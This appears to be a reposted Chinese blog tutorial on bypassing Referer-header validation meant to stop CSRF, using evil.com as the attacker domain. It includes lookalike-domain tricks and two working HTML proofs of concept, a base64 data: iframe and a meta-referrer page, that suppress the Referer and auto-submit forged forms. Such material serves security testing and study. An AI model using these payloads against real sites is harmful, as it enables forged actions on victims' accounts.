码迷,mamicode.com
首页 > 其他好文 > 详细

绕过referer校验的一些小知识

时间:2018-12-05 00:16:15      阅读:291      评论:0      收藏:0      [点我收藏+]

标签:mit   html   ==   之一   .com   form   stat   知识   很多   

对referer做校验一般是对csrf进行防范的手段之一,但是很多时候不经意间还会增加其他攻击的难度,如xss,jsonp劫持等等。

这里对referer的绕过做一个小的总结:
目标网站是:www.domain.com

攻击者的域名是:evil.com

 

1.使用子域名的方式绕过,如下:

http://domain.evil.com/

 

2.注册一个类似的域名,如下:
http://www.evildomain.com/

 

3.将域名以参数的形式接下url后面

http://www.evil.com/?http://www.domain.com

 

4.利用空referer

  1)利用ftp://,http://,https://,file://,javascript:,data:等伪协议进行跳转,如下

  <html>
        <body>
       <iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
        </body>
      </html>

 

  2)添加<meta name="referrer" content="never">,poc如下

  <html>   

  <meta name="referrer" content="never">   

  <body>   

    <script>history.pushState(‘‘, ‘‘, ‘/‘)</script>     

    <form action="http://127.0.0.1/test.php">       

    <input type="submit" value="Submit request" />     

  </form>     

  <script>       document.forms[0].submit();     </script>   

  </body>

  </html>

  

  3)https跳到http时也没有referer

5.如果受信任的网站中可以添加链接,可以在受信任的网站上添加链接,但是不支持post的csrf

 

6.利用url跳转

 

7.结合受信任的网站的xss漏洞进行利用

绕过referer校验的一些小知识

标签:mit   html   ==   之一   .com   form   stat   知识   很多   

原文地址:https://www.cnblogs.com/jinqi520/p/10067883.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!